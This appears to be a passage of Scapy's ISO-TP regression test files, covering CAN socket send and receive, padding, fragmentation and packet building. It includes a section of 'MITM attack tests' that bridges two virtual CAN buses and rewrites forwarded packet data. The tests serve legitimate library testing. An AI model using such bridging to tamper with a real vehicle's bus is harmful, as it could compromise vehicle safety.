exit_if_no_isotp_module() s = ISOTPNativeSocket(iface0, tx_id=0x641, rx_id=0x241, padding=True) with new_can_socket(iface0) as cans: s.send(ISOTP(data=dhex("01"))) can = cans.sniff(timeout=1, count=1)[0] assert can.length == 8 = Send a two-frame ISOTP message with padding exit_if_no_isotp_module() acker_ready = threading.Event() def acker(): with new_can_socket(iface0) as acks: acker_ready.set() can = acks.sniff(timeout=1, count=1)[0] acks.send(CAN(identifier = 0x241, data=dhex("30 00 00"))) with new_can_socket(iface0) as cans: thread = Thread(target=acker) thread.start() acker_ready.wait(timeout=5) s = ISOTPNativeSocket(iface0, tx_id=0x641, rx_id=0x241, padding=True) s.send(ISOTP(data=dhex("01 02 03 04 05 06 07 08"))) can = cans.sniff(timeout=1, count=1)[0] assert can.identifier == 0x641 assert can.data == dhex("10 08 01 02 03 04 05 06") can = cans.sniff(timeout=1, count=1)[0] assert can.identifier == 0x241 assert can.data == dhex("30 00 00") can = cans.sniff(timeout=1, count=1)[0] assert can.identifier == 0x641 assert can.data == dhex("21 07 08 CC CC CC CC CC") thread.join(5) assert not thread.is_alive() = Receive a padded single frame ISOTP message with padding disabled exit_if_no_isotp_module() s = ISOTPNativeSocket(iface0, tx_id=0x641, rx_id=0x241, padding=False) with new_can_socket(iface0) as cans: cans.send(CAN(identifier=0x241, data=dhex("02 05 06 00 00 00 00 00"))) res = s.recv() assert res.data == dhex("05 06") = Receive a padded single frame ISOTP message with padding enabled exit_if_no_isotp_module() s = ISOTPNativeSocket(iface0, tx_id=0x641, rx_id=0x241, padding=True) with new_can_socket(iface0) as cans: cans.send(CAN(identifier=0x241, data=dhex("02 05 06 00 00 00 00 00"))) res = s.recv() assert res.data == dhex("05 06") = Receive a non-padded single frame ISOTP message with padding enabled exit_if_no_isotp_module() s = ISOTPNativeSocket(iface0, tx_id=0x641, rx_id=0x241, padding=True) with new_can_socket(iface0) as cans: cans.send(CAN(identifier=0x241, data=dhex("02 05 06"))) res = s.recv() assert res.data == dhex("05 06") = Receive a padded two-frame ISOTP message with padding enabled exit_if_no_isotp_module() s = ISOTPNativeSocket(iface0, tx_id=0x641, rx_id=0x241, padding=True) with new_can_socket(iface0) as cans: cans.send(CAN(identifier=0x241, data=dhex("10 09 01 02 03 04 05 06"))) cans.send(CAN(identifier=0x241, data=dhex("21 07 08 09 00 00 00 00"))) res = s.recv() assert res.data == dhex("01 02 03 04 05 06 07 08 09") = Receive a padded two-frame ISOTP message with padding disabled exit_if_no_isotp_module() s = ISOTPNativeSocket(iface0, tx_id=0x641, rx_id=0x241, padding=False) with new_can_socket(iface0) as cans: cans.send(CAN(identifier=0x241, data=dhex("10 09 01 02 03 04 05 06"))) cans.send(CAN(identifier=0x241, data=dhex("21 07 08 09 00 00 00 00"))) res = s.recv() assert res.data == dhex("01 02 03 04 05 06 07 08 09") = Receive a single frame ISOTP message exit_if_no_isotp_module() s = ISOTPNativeSocket(iface0, tx_id=0x641, rx_id=0x241) with new_can_socket(iface0) as cans: cans.send(CAN(identifier = 0x241, data = dhex("05 01 02 03 04 05"))) isotp = s.recv() assert isotp.data == dhex("01 02 03 04 05") assert isotp.tx_id == 0x641 assert isotp.rx_id == 0x241 assert isotp.ext_address == None assert isotp.rx_ext_address == None = Receive a single frame ISOTP message, with extended addressing exit_if_no_isotp_module() s = ISOTPNativeSocket(iface0, tx_id=0x641, rx_id=0x241, ext_address=0xc0, rx_ext_address=0xea) with new_can_socket(iface0) as cans: cans.send(CAN(identifier = 0x241, data = dhex("EA 05 01 02 03 04 05"))) isotp = s.recv() assert isotp.data == dhex("01 02 03 04 05") assert isotp.tx_id == 0x641 assert isotp.rx_id == 0x241 assert isotp.ext_address == 0xc0 assert isotp.rx_ext_address == 0xea = Receive a two-frame ISOTP message exit_if_no_isotp_module() s = ISOTPNativeSocket(iface0, tx_id=0x641, rx_id=0x241) with new_can_socket(iface0) as cans: cans.send(CAN(identifier = 0x241, data = dhex("10 0B 01 02 03 04 05 06"))) cans.send(CAN(identifier = 0x241, data = dhex("21 07 08 09 10 11"))) isotp = s.recv() assert isotp.data == dhex("01 02 03 04 05 06 07 08 09 10 11") = Receive a two-frame ISOTP message and test python with statement exit_if_no_isotp_module() with ISOTPNativeSocket(iface0, tx_id=0x641, rx_id=0x241) as s: with new_can_socket(iface0) as cans: cans.send(CAN(identifier = 0x241, data = dhex("10 0B 01 02 03 04 05 06"))) cans.send(CAN(identifier = 0x241, data = dhex("21 07 08 09 10 11"))) isotp = s.recv() assert isotp.data == dhex("01 02 03 04 05 06 07 08 09 10 11") = Send single CANFD frame ISOTP message exit_if_no_isotp_module() with new_can_socket(iface0, fd=True) as cans: s = ISOTPNativeSocket(iface0, tx_id=0x641, rx_id=0x241, fd=True) s.send(ISOTP(data=dhex("01 02 03 04 05 06 07 08 09"))) can = cans.sniff(timeout=1, count=1)[0] assert can.identifier == 0x641 assert can.data == dhex("09 01 02 03 04 05 06 07 08 09") = ISOTP Socket sr1 test exit_if_no_isotp_module() txSock = ISOTPNativeSocket(iface0, tx_id=0x123, rx_id=0x321, basecls=ISOTP) txmsg = ISOTP(b'\x11\x22\x33') rx2 = None receiver_up = Event() def sender(): global receiver_up receiver_up.wait(timeout=5) global txmsg global rx2 rx2 = txSock.sr1(txmsg, timeout=1, verbose=True) def receiver(): global receiver_up with new_can_socket(iface0) as cans: rx = cans.sniff(timeout=1, count=1, started_callback=receiver_up.set)[0] cans.send(CAN(identifier=0x321, length=4, data=b'\x03\x7f\x22\x33')) expectedrx = CAN(identifier=0x123, length=4, data=b'\x03\x11\x22\x33') assert rx.length == expectedrx.length assert rx.data == expectedrx.data assert rx.identifier == expectedrx.identifier txThread = threading.Thread(target=sender) txThread.start() receiver() txThread.join(timeout=5) assert not txThread.is_alive() assert rx2 is not None assert rx2 == ISOTP(b'\x7f\x22\x33') assert rx2.answers(txmsg) = ISOTP Socket sr1 and ISOTP test exit_if_no_isotp_module() txSock = ISOTPNativeSocket(iface0, 0x123, 0x321, basecls=ISOTP) rxSock = ISOTPNativeSocket(iface0, 0x321, 0x123, basecls=ISOTP) msg = ISOTP(b'\x11\x22\x33\x11\x22\x33\x11\x22\x33\x11\x22\x33') rx2 = None receiver_up = Event() def sender(): receiver_up.wait(timeout=5) global rx2 rx2 = txSock.sr1(msg, timeout=1, verbose=True) def receiver(): global rx receiver_up.set() rx = rxSock.recv() rxSock.send(msg) txThread = threading.Thread(target=sender) txThread.start() receiver() txThread.join(timeout=5) assert not txThread.is_alive() assert rx == msg assert rxSock.send(msg) assert rx2 is not None assert rx2 == msg = ISOTP Socket sr1 and ISOTP test vice versa exit_if_no_isotp_module() rxSock = ISOTPNativeSocket(iface0, 0x321, 0x123, basecls=ISOTP) txSock = ISOTPNativeSocket(iface0, 0x123, 0x321, basecls=ISOTP) msg = ISOTP(b'\x11\x22\x33\x11\x22\x33\x11\x22\x33\x11\x22\x33') receiver_up = Event() def receiver(): global rx2, sent rx2 = rxSock.sniff(count=1, timeout=1, started_callback=receiver_up.set) sent = rxSock.send(msg) def sender(): global rx receiver_up.wait(timeout=5) rx = txSock.sr1(msg, timeout=1,verbose=True) rx2 = None sent = False rxThread = threading.Thread(target=receiver) rxThread.start() sender() rxThread.join(timeout=5) assert not rxThread.is_alive() assert rx == msg assert rx2[0] == msg assert sent = ISOTP Socket sniff exit_if_no_isotp_module() rxSock = ISOTPNativeSocket(iface0, 0x321, 0x123, basecls=ISOTP) txSock = ISOTPNativeSocket(iface0, 0x123, 0x321, basecls=ISOTP) succ = False receiver_up = Event() def receiver(): rx = rxSock.sniff(count=5, timeout=1, started_callback=receiver_up.set) msg = ISOTP(b'\x11\x22\x33\x11\x22\x33\x11\x22\x33\x11\x22\x33') msg.data += b'0' assert rx[0] == msg msg.data += b'1' assert rx[1] == msg msg.data += b'2' assert rx[2] == msg msg.data += b'3' assert rx[3] == msg msg.data += b'4' assert rx[4] == msg global succ succ = True def sender(): receiver_up.wait(timeout=5) msg = ISOTP(b'\x11\x22\x33\x11\x22\x33\x11\x22\x33\x11\x22\x33') msg.data += b'0' assert txSock.send(msg) msg.data += b'1' assert txSock.send(msg) msg.data += b'2' assert txSock.send(msg) msg.data += b'3' assert txSock.send(msg) msg.data += b'4' assert txSock.send(msg) rxThread = threading.Thread(target=receiver) rxThread.start() sender() rxThread.join(timeout=5) assert not rxThread.is_alive() assert succ + ISOTPNativeSocket MITM attack tests ~ vcan_socket needs_root linux = bridge and sniff with isotp native sockets set up vcan0 and vcan1 for package forwarding vcan1 exit_if_no_isotp_module() isoTpSocket0 = ISOTPNativeSocket(iface0, tx_id=0x241, rx_id=0x641) isoTpSocket1 = ISOTPNativeSocket(iface1, tx_id=0x641, rx_id=0x241) bSocket0 = ISOTPNativeSocket(iface0, tx_id=0x641, rx_id=0x241) bSocket1 = ISOTPNativeSocket(iface1, tx_id=0x241, rx_id=0x641) bridgeStarted = threading.Event() def bridge(): global bridgeStarted def forwarding(pkt): return pkt bridge_and_sniff(if1=bSocket0, if2=bSocket1, xfrm12=forwarding, xfrm21=forwarding, timeout=2, count=1, started_callback=bridgeStarted.set) bSocket0.close() bSocket1.close() global bSucc bSucc = True bSucc = False threadBridge = threading.Thread(target=bridge) threadBridge.start() bridgeStarted.wait(timeout=5) isoTpSocket0.send(ISOTP(b'Request')) packetsVCan1 = isoTpSocket1.sniff(timeout=0.5, count=1) assert len(packetsVCan1) == 1 isoTpSocket0.close() isoTpSocket1.close() threadBridge.join(timeout=5) assert not threadBridge.is_alive() assert bSucc = bridge and sniff with isotp native sockets set up vcan0 and vcan1 for package change to vcan1 exit_if_no_isotp_module() isoTpSocket0 = ISOTPNativeSocket(iface0, tx_id=0x241, rx_id=0x641) isoTpSocket1 = ISOTPNativeSocket(iface1, tx_id=0x641, rx_id=0x241) bSocket0 = ISOTPNativeSocket(iface0, tx_id=0x641, rx_id=0x241) bSocket1 = ISOTPNativeSocket(iface1, tx_id=0x241, rx_id=0x641) bSucc = False bridgeStarted = threading.Event() def bridge(): global bridgeStarted global bSucc def forwarding(pkt): pkt.data = 'changed' return pkt bridge_and_sniff(if1=bSocket0, if2=bSocket1, xfrm12=forwarding, xfrm21=forwarding, timeout=0.5, started_callback=bridgeStarted.set) bSocket0.close() bSocket1.close() bSucc = True threadBridge = threading.Thread(target=bridge) threadBridge.start() bridgeStarted.wait(timeout=5) isoTpSocket0.send(ISOTP(b'Request')) packetsVCan1 = isoTpSocket1.sniff(timeout=0.5, count=1) packetsVCan1[0].data = b'changed' assert len(packetsVCan1) == 1 isoTpSocket0.close() isoTpSocket1.close() threadBridge.join(timeout=5) assert not threadBridge.is_alive() assert bSucc = bridge and sniff with isotp native sockets set up vcan0 and vcan1 for package forwarding in both directions exit_if_no_isotp_module() bSucc = False isoTpSocket0 = ISOTPNativeSocket(iface0, tx_id=0x241, rx_id=0x641) isoTpSocket1 = ISOTPNativeSocket(iface1, tx_id=0x641, rx_id=0x241) bSocket0 = ISOTPNativeSocket(iface0, tx_id=0x641, rx_id=0x241) bSocket1 = ISOTPNativeSocket(iface1, tx_id=0x241, rx_id=0x641) bridgeStarted = threading.Event() def bridge(): global bridgeStarted global bSucc def forwarding(pkt): return pkt bridge_and_sniff(if1=bSocket0, if2=bSocket1, xfrm12=forwarding, xfrm21=forwarding, timeout=0.5, started_callback=bridgeStarted.set, count=2) bSocket0.close() bSocket1.close() bSucc = True threadBridge = threading.Thread(target=bridge) threadBridge.start() bridgeStarted.wait(timeout=5) packetVcan0 = ISOTP(b'RequestVcan0') packetVcan1 = ISOTP(b'RequestVcan1') isoTpSocket0.send(packetVcan0) isoTpSocket1.send(packetVcan1) packetsVCan0 = isoTpSocket0.sniff(timeout=0.5, count=1) packetsVCan1 = isoTpSocket1.sniff(timeout=0.5, count=1) len(packetsVCan0) == 1 len(packetsVCan1) == 1 isoTpSocket0.close() isoTpSocket1.close() threadBridge.join(timeout=5) assert not threadBridge.is_alive() assert bSucc = bridge and sniff with isotp native sockets set up vcan0 and vcan1 for package change in both directions exit_if_no_isotp_module() bSucc = False isoTpSocket0 = ISOTPNativeSocket(iface0, tx_id=0x241, rx_id=0x641) isoTpSocket1 = ISOTPNativeSocket(iface1, tx_id=0x641, rx_id=0x241) bSocket0 = ISOTPNativeSocket(iface0, tx_id=0x641, rx_id=0x241) bSocket1 = ISOTPNativeSocket(iface1, tx_id=0x241, rx_id=0x641) bridgeStarted = threading.Event() def bridge(): global bridgeStarted global bSucc def forwarding(pkt): pkt.data = 'changed' return pkt bridge_and_sniff(if1=bSocket0, if2=bSocket1, xfrm12=forwarding, xfrm21=forwarding, timeout=0.5, started_callback=bridgeStarted.set, count=2) bSocket0.close() bSocket1.close() bSucc = True threadBridge = threading.Thread(target=bridge) threadBridge.start() bridgeStarted.wait(timeout=5) packetVcan0 = ISOTP(b'RequestVcan0') packetVcan1 = ISOTP(b'RequestVcan1') isoTpSocket0.send(packetVcan0) isoTpSocket1.send(packetVcan1) packetsVCan0 = isoTpSocket0.sniff(timeout=0.5, count=1) packetsVCan1 = isoTpSocket1.sniff(timeout=0.5, count=1) packetsVCan0[0].data = b'changed' assert len(packetsVCan0) == 1 packetsVCan1[0].data = b'changed' assert len(packetsVCan1) == 1 isoTpSocket0.close() isoTpSocket1.close() threadBridge.join(timeout=5) assert not threadBridge.is_alive() assert bSucc + Cleanup = Cleanup reference to ISOTPSoftSocket to let the thread end s = None = Delete vcan interfaces assert cleanup_interfaces() ================================================ FILE: test/contrib/isotp_packet.uts ================================================ % Regression tests for ISOTP packet definitions + Configuration ~ conf = Import isotp conf.contribs['ISOTP'] = {'use-can-isotp-kernel-module': False} load_layer("can", globals_dict=globals()) load_contrib("isotp", globals_dict=globals()) from scapy.contrib.isotp.isotp_scanner import get_isotp_packet = Define helpers # hexadecimal to bytes convenience function dhex = bytes.fromhex + ISOTP packet check = Creation of an empty ISOTP packet p = ISOTP() assert p.data == b"" assert p.tx_id is None and p.rx_id is None and p.ext_address is None and p.rx_ext_address is None assert bytes(p) == b"" = Creation of a simple ISOTP packet with tx_id p = ISOTP(b"eee", tx_id=0x241) assert p.tx_id == 0x241 assert p.data == b"eee" assert bytes(p) == b"eee" = Creation of a simple ISOTP packet with ext_address p = ISOTP(b"eee", ext_address=0x41) assert p.ext_address == 0x41 assert p.data == b"eee" assert bytes(p) == b"eee" = Creation of a simple ISOTP packet with rx_id p = ISOTP(b"eee", rx_id=0x241) assert p.rx_id == 0x241 assert p.data == b"eee" assert bytes(p) == b"eee" = Creation of a simple ISOTP packet with rx_ext_address p = ISOTP(b"eee", rx_ext_address=0x41) assert p.rx_ext_address == 0x41 assert p.data == b"eee" assert bytes(p) == b"eee" = Creation of a simple ISOTP packet with tx_id, rx_id, ext_address, rx_ext_address p = ISOTP(b"eee", tx_id=1, rx_id=2, ext_address=3, rx_ext_address=4) assert p.rx_id == 2 assert p.rx_ext_address == 4 assert p.tx_id == 1 assert p.ext_address == 3 assert p.data == b"eee" assert bytes(p) == b"eee" = ISOTP answers test p = ISOTP() r = ISOTP() assert p.data == b"" assert p.answers(r) assert not p.answers(Raw()) = Creation of a simple ISOTP packet with tx_id validation error ex = False try: p = ISOTP(b"eee", tx_id=0x1000000000, rx_id=2, ext_address=3, rx_ext_address=4) except Scapy_Exception: ex = True assert ex = Creation of a simple ISOTP packet with rx_id validation error ex = False try: p = ISOTP(b"eee", tx_id=0x10, rx_id=0x20000000000, ext_address=3, rx_ext_address=4) except Scapy_Exception: ex = True assert ex = Creation of a simple ISOTP packet with ext_address validation error ex = False try: p = ISOTP(b"eee", tx_id=0x10, rx_id=2, ext_address=3000, rx_ext_address=4) except Scapy_Exception: ex = True assert ex = Creation of a simple ISOTP packet with rx_ext_address validation error ex = False try: p = ISOTP(b"eee", tx_id=0x10, rx_id=2, ext_address=30, rx_ext_address=400) except Scapy_Exception: ex = True assert ex + ISOTPFrame related checks = Build a packet with extended addressing pkt = CAN(identifier=0x123, data=b'\x42\x10\xff\xde\xea\xdd\xaa\xaa') isotpex = ISOTPHeaderEA(bytes(pkt)) assert isotpex.type == 1 assert isotpex.message_size == 0xff assert isotpex.extended_address == 0x42 assert isotpex.identifier == 0x123 assert isotpex.length == 8 = Build a packet with normal addressing pkt = CAN(identifier=0x123, data=b'\x10\xff\xde\xea\xdd\xaa\xaa') isotpno = ISOTPHeader(bytes(pkt)) assert isotpno.type == 1 assert isotpno.message_size == 0xff assert isotpno.identifier == 0x123 assert isotpno.length == 7 = Compare both isotp payloads assert isotpno.data == isotpex.data assert isotpno.message_size == isotpex.message_size = Dissect multiple packets frames = \ [b'\x00\x00\x00\x00\x08\x00\x00\x00\x10(\xde\xad\xbe\xef\xde\xad', b'\x00\x00\x00\x00\x08\x00\x00\x00!\xbe\xef\xde\xad\xbe\xef\xde', b'\x00\x00\x00\x00\x08\x00\x00\x00"\xad\xbe\xef\xde\xad\xbe\xef', b'\x00\x00\x00\x00\x08\x00\x00\x00#\xde\xad\xbe\xef\xde\xad\xbe', b'\x00\x00\x00\x00\x08\x00\x00\x00$\xef\xde\xad\xbe\xef\xde\xad', b'\x00\x00\x00\x00\x07\x00\x00\x00%\xbe\xef\xde\xad\xbe\xef'] isotpframes = [ISOTPHeader(x) for x in frames] assert isotpframes[0].type == 1 assert isotpframes[0].message_size == 40 assert isotpframes[0].length == 8 assert isotpframes[1].type == 2 assert isotpframes[1].index == 1 assert isotpframes[1].length == 8 assert isotpframes[2].type == 2 assert isotpframes[2].index == 2 assert isotpframes[2].length == 8 assert isotpframes[3].type == 2 assert isotpframes[3].index == 3 assert isotpframes[3].length == 8 assert isotpframes[4].type == 2 assert isotpframes[4].index == 4 assert isotpframes[4].length == 8 assert isotpframes[5].type == 2 assert isotpframes[5].index == 5 assert isotpframes[5].length == 7 = Build SF frame with constructor, check for correct length assignments p = ISOTPHeader(bytes(ISOTPHeader()/ISOTP_SF(data=b'\xad\xbe\xad\xff'))) assert p.length == 5 assert p.message_size == 4 assert len(p.data) == 4 assert p.data == b'\xad\xbe\xad\xff' assert p.type == 0 assert p.identifier == 0 = Build SF frame EA with constructor, check for correct length assignments p = ISOTPHeaderEA(bytes(ISOTPHeaderEA()/ISOTP_SF(data=b'\xad\xbe\xad\xff'))) assert p.extended_address == 0 assert p.length == 6 assert p.message_size == 4 assert len(p.data) == 4 assert p.data == b'\xad\xbe\xad\xff' assert p.type == 0 assert p.identifier == 0 = Build FF frame with constructor, check for correct length assignments p = ISOTPHeader(bytes(ISOTPHeader()/ISOTP_FF(message_size=10, data=b'\xad\xbe\xad\xff'))) assert p.length == 6 assert p.message_size == 10 assert len(p.data) == 4 assert p.data == b'\xad\xbe\xad\xff' assert p.type == 1 assert p.identifier == 0 = Build FF frame EA with constructor, check for correct length assignments p = ISOTPHeaderEA(bytes(ISOTPHeaderEA()/ISOTP_FF(message_size=10, data=b'\xad\xbe\xad\xff'))) assert p.extended_address == 0 assert p.length == 7 assert p.message_size == 10 assert len(p.data) == 4 assert p.data == b'\xad\xbe\xad\xff' assert p.type == 1 assert p.identifier == 0 = Build FF frame EA, extended size, with constructor, check for correct length assignments p = ISOTPHeaderEA(bytes(ISOTPHeaderEA()/ISOTP_FF_FD(message_size=2000, data=b'\xad'))) assert p.extended_address == 0 assert p.length == 8 assert p.message_size == 2000 assert len(p.data) == 1 assert p.data == b'\xad' assert p.type == 1 assert p.identifier == 0 = Build FF frame, extended size, with constructor, check for correct length assignments p = ISOTPHeader(bytes(ISOTPHeader()/ISOTP_FF_FD(message_size=2000, data=b'\xad'))) assert p.length == 7 assert p.message_size == 2000 assert len(p.data) == 1 assert p.data == b'\xad' assert p.type == 1 assert p.identifier == 0 = Build CF frame with constructor, check for correct length assignments p = ISOTPHeader(bytes(ISOTPHeader()/ISOTP_CF(data=b'\xad'))) assert p.length == 2 assert p.index == 0 assert len(p.data) == 1 assert p.data == b'\xad' assert p.type == 2 assert p.identifier == 0 = Build CF frame EA with constructor, check for correct length assignments p = ISOTPHeaderEA(bytes(ISOTPHeaderEA()/ISOTP_CF(data=b'\xad'))) assert p.length == 3 assert p.index == 0 assert len(p.data) == 1 assert p.data == b'\xad' assert p.type == 2 assert p.identifier == 0 = Build FC frame EA with constructor, check for correct length assignments p = ISOTPHeaderEA(bytes(ISOTPHeaderEA()/ISOTP_FC())) assert p.length == 4 assert p.block_size == 0 assert p.separation_time == 0 assert p.type == 3 assert p.identifier == 0 = Build FC frame with constructor, check for correct length assignments p = ISOTPHeader(bytes(ISOTPHeader()/ISOTP_FC())) assert p.length == 3 assert p.block_size == 0 assert p.separation_time == 0 assert p.type == 3 assert p.identifier == 0 = Construct some single frames p = ISOTPHeader(identifier=0x123, length=5)/ISOTP_SF(message_size=4, data=b'abcd') assert p.length == 5 assert p.identifier == 0x123 assert p.type == 0 assert p.message_size == 4 assert p.data == b'abcd' = Construct some single frames EA p = ISOTPHeaderEA(identifier=0x123, length=6, extended_address=42)/ISOTP_SF(message_size=4, data=b'abcd') assert p.length == 6 assert p.extended_address == 42 assert p.identifier == 0x123 assert p.type == 0 assert p.message_size == 4 assert p.data == b'abcd' = Construct ISOTP_packet with extended can frame p = get_isotp_packet(identifier=0x1234, extended=False, extended_can_id=True) print(p) assert (p.identifier == 0x1234) assert (p.flags == "extended") = Construct ISOTPEA_Packet with extended can frame p = get_isotp_packet(identifier=0x1234, extended=True, extended_can_id=True) print(p) assert (p.identifier == 0x1234) assert (p.flags == "extended") + ISOTP fragment and defragment checks = Fragment an empty ISOTP message fragments = ISOTP().fragment() assert len(fragments) == 1 assert fragments[0].data == b"\0" = Fragment another empty ISOTP message fragments = ISOTP(b"").fragment() assert len(fragments) == 1 assert fragments[0].data == b"\0" = Fragment a 4 bytes long ISOTP message fragments = ISOTP(b"data", tx_id=0x241).fragment() assert len(fragments) == 1 assert isinstance(fragments[0], CAN) fragment = CAN(bytes(fragments[0])) assert fragment.data == b"\x04data" assert fragment.flags == 0 assert fragment.length == 5 assert fragment.reserved == 0 = Fragment a 4 bytes long ISOTP message extended fragments = ISOTP(b"data", rx_id=0x1fff0000).fragment() assert len(fragments) == 1 assert isinstance(fragments[0], CAN) fragment = CAN(bytes(fragments[0])) assert fragment.data == b"\x04data" assert fragment.length == 5 assert fragment.reserved == 0 assert fragment.flags == 4 = Fragment a 8 bytes long ISOTP message extended fragments = ISOTP(b"datadata", rx_id=0x1fff0000).fragment() assert len(fragments) == 2 assert isinstance(fragments[0], CAN) fragment = CAN(bytes(fragments[0])) assert fragment.data == b"\x10\x08datada" assert fragment.length == 8 assert fragment.reserved == 0 assert fragment.flags == 4 fragment = CAN(bytes(fragments[1])) assert fragment.data == b"\x21ta" assert fragment.length == 3 assert fragment.reserved == 0 assert fragment.flags == 4 = Fragment a 7 bytes long ISOTP message fragments = ISOTP(b"abcdefg").fragment() assert len(fragments) == 1 assert fragments[0].data == b"\x07abcdefg" = Fragment a 8 bytes long ISOTP message fragments = ISOTP(b"abcdefgh").fragment() assert len(fragments) == 2 assert fragments[0].data == b"\x10\x08abcdef" assert fragments[1].data == b"\x21gh" = Fragment an ISOTP message with extended addressing isotp = ISOTP(b"abcdef", rx_ext_address=ord('A')) fragments = isotp.fragment() assert len(fragments) == 1 assert fragments[0].data == b"A\x06abcdef" = Fragment a 7 bytes ISOTP message with destination identifier isotp = ISOTP(b"abcdefg", rx_id=0x64f) fragments = isotp.fragment() assert len(fragments) == 1 assert fragments[0].data == b"\x07abcdefg" assert fragments[0].identifier == 0x64f = Fragment a 16 bytes ISOTP message with extended addressing isotp = ISOTP(b"abcdefghijklmnop", rx_id=0x64f, rx_ext_address=ord('A')) fragments = isotp.fragment() assert len(fragments) == 3 assert fragments[0].data == b"A\x10\x10abcde" assert fragments[1].data == b"A\x21fghijk" assert fragments[2].data == b"A\x22lmnop" assert fragments[0].identifier == 0x64f assert fragments[1].identifier == 0x64f assert fragments[2].identifier == 0x64f = Fragment a huge ISOTP message, 4997 bytes long data = b"T" * 4997 isotp = ISOTP(b"T" * 4997, rx_id=0x345) fragments = isotp.fragment() assert len(fragments) == 715 assert fragments[0].data == dhex("10 00 00 00 13 85") + b"TT" assert fragments[1].data == b"\x21TTTTTTT" assert fragments[-2].data == b"\x29TTTTTTT" assert fragments[-1].data == b"\x2ATTTT" = Defragment a single-frame ISOTP message fragments = [CAN(identifier=0x641, data=b"\x04test")] isotp = ISOTP.defragment(fragments) isotp.show() assert isotp.data == b"test" assert isotp.rx_id == 0x641 = Defragment non ISOTP message fragments = [CAN(identifier=0x641, data=b"\xa4test")] isotp = ISOTP.defragment(fragments) assert isotp is None = Defragment ISOTP message with warning fragments = [CAN(identifier=0x641, data=b"\x04test"), CAN(identifier=0x642, data=b"\x04test")] isotp = ISOTP.defragment(fragments) assert isotp.data == b"test" assert isotp.rx_id == 0x641 = Defragment exception fragments = [] ex = False try: isotp = ISOTP.defragment(fragments) isotp.show() except Scapy_Exception: ex = True assert ex = Defragment an ISOTP message composed of multiple CAN frames fragments = [ CAN(identifier=0x641, data=dhex("41 10 10 61 62 63 64 65")), CAN(identifier=0x641, data=dhex("41 21 66 67 68 69 6A 6B")), CAN(identifier=0x641, data=dhex("41 22 6C 6D 6E 6F 70 00")) ] isotp = ISOTP.defragment(fragments) isotp.show() assert isotp.data == dhex("61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F 70") assert isotp.rx_id == 0x641 assert isotp.rx_ext_address == 0x41 = Check if fragmenting a message and defragmenting it back yields the original message isotp1 = ISOTP(b"abcdef", rx_ext_address=ord('A')) fragments = isotp1.fragment() isotp2 = ISOTP.defragment(fragments) isotp2.show() assert isotp1 == isotp2 isotp1 = ISOTP(b"abcdefghijklmnop") fragments = isotp1.fragment() isotp2 = ISOTP.defragment(fragments) isotp2.show() assert isotp1 == isotp2 isotp1 = ISOTP(b"abcdefghijklmnop", rx_ext_address=ord('A')) fragments = isotp1.fragment() isotp2 = ISOTP.defragment(fragments) isotp2.show() assert isotp1 == isotp2 isotp1 = ISOTP(b"T"*5000, rx_ext_address=ord('A')) fragments = isotp1.fragment() isotp2 = ISOTP.defragment(fragments) isotp2.show() assert isotp1 == isotp2 = Defragment an ambiguous CAN frame fragments = [CAN(identifier=0x641, data=dhex("02 01 AA"))] isotp = ISOTP.defragment(fragments, False) isotp.show() assert isotp.data == dhex("01 AA") assert isotp.rx_ext_address == None isotpex = ISOTP.defragment(fragments, True) isotpex.show() assert isotpex.data == dhex("AA") assert isotpex.rx_ext_address == 0x02 = Build ISOTP_FF_FD pkt = ISOTP_FF_FD(message_size=0xffff0000) assert bytes(pkt) == bytes.fromhex("1000ffff0000") = Build ISOTP_SF_FD pkt = ISOTP_SF_FD(message_size=0xff) assert bytes(pkt) == bytes.fromhex("00ff") = Build ISOTP_FF_FD 2 pkt = ISOTPHeaderEA_FD(identifier=0x7ff, extended_address=0xaf)/ISOTP_FF_FD(message_size=0xffff0000) assert bytes(pkt) == bytes.fromhex("000007ff 07 04 00 00 af 1000ffff0000") = Build ISOTP_SF_FD 2 pkt = ISOTPHeaderEA_FD(identifier=0x7ff, extended_address=0xaf)/ISOTP_SF_FD(message_size=0xff) assert bytes(pkt) == bytes.fromhex("000007ff 03 04 00 00 af 00ff") = Build ISOTP_FF_FD 3 pkt = ISOTPHeader_FD(identifier=0x7ff)/ISOTP_FF_FD(message_size=0xffff0000) assert bytes(pkt) == bytes.fromhex("000007ff 06 04 00 00 1000ffff0000") = Build ISOTP_SF_FD 3 pkt = ISOTPHeader_FD(identifier=0x7ff)/ISOTP_SF_FD(message_size=0xff) assert bytes(pkt) == bytes.fromhex("000007ff 02 04 00 00 00ff") = Dissect ISOTPFD 1 pkt = ISOTPHeaderEA_FD(bytes.fromhex("000007ff 07 04 00 00 af 1000ffff0000")) pkt.show() sub_pkt = pkt[ISOTP_FF_FD] assert pkt.identifier == 0x7ff assert pkt.length == 0x7 assert pkt.fd_flags == 0x4 assert pkt.extended_address == 0xaf assert sub_pkt.message_size == 0xffff0000 = Dissect ISOTPFD 2 pkt = ISOTPHeaderEA_FD(bytes.fromhex("000007ff 07 04 00 00 af 00ff00000000")) pkt.show() sub_pkt = pkt[ISOTP_SF_FD] assert pkt.identifier == 0x7ff assert pkt.length == 0x7 assert pkt.fd_flags == 0x4 assert pkt.extended_address == 0xaf assert sub_pkt.message_size == 0xff = Dissect ISOTPFD 3 pkt = ISOTPHeader_FD(bytes.fromhex("000007ff 06 04 00 00 1000ffff0000")) pkt.show() sub_pkt = pkt[ISOTP_FF_FD] assert pkt.identifier == 0x7ff assert pkt.length == 0x6 assert pkt.fd_flags == 0x4 assert sub_pkt.message_size == 0xffff0000 = Dissect ISOTPFD 4 pkt = ISOTPHeader_FD(bytes.fromhex("000007ff 06 04 00 00 00ff00000000")) pkt.show() sub_pkt = pkt[ISOTP_SF_FD] assert pkt.identifier == 0x7ff assert pkt.length == 0x6 assert pkt.fd_flags == 0x4 assert sub_pkt.message_size == 0xff ================================================ FILE: test/contrib/isotp_soft_socket.uts ================================================ % Regression tests for ISOTPSoftSocket ~ automotive_comm + Configuration ~ conf = Imports import time from io import BytesIO from scapy.layers.can import * from scapy.contrib.isotp import * from scapy.contrib.isotp.isotp_soft_socket import TimeoutScheduler from test.testsocket import TestSocket, SlowTestSocket, cleanup_testsockets with open(scapy_path("test/contrib/automotive/interface_mockup.py")) as f: exec(f.read()) = Redirect logging import logging from scapy.error import log_runtime from io import StringIO log_stream = StringIO() handler = logging.StreamHandler(log_stream) log_runtime.addHandler(handler) log_isotp.addHandler(handler) = Definition of utility functions # hexadecimal to bytes convenience function dhex = bytes.fromhex + Test sniffer = Test sniffer with multiple frames test_frames = [ (0x241, "EA 10 28 01 02 03 04 05"), (0x641, "EA 30 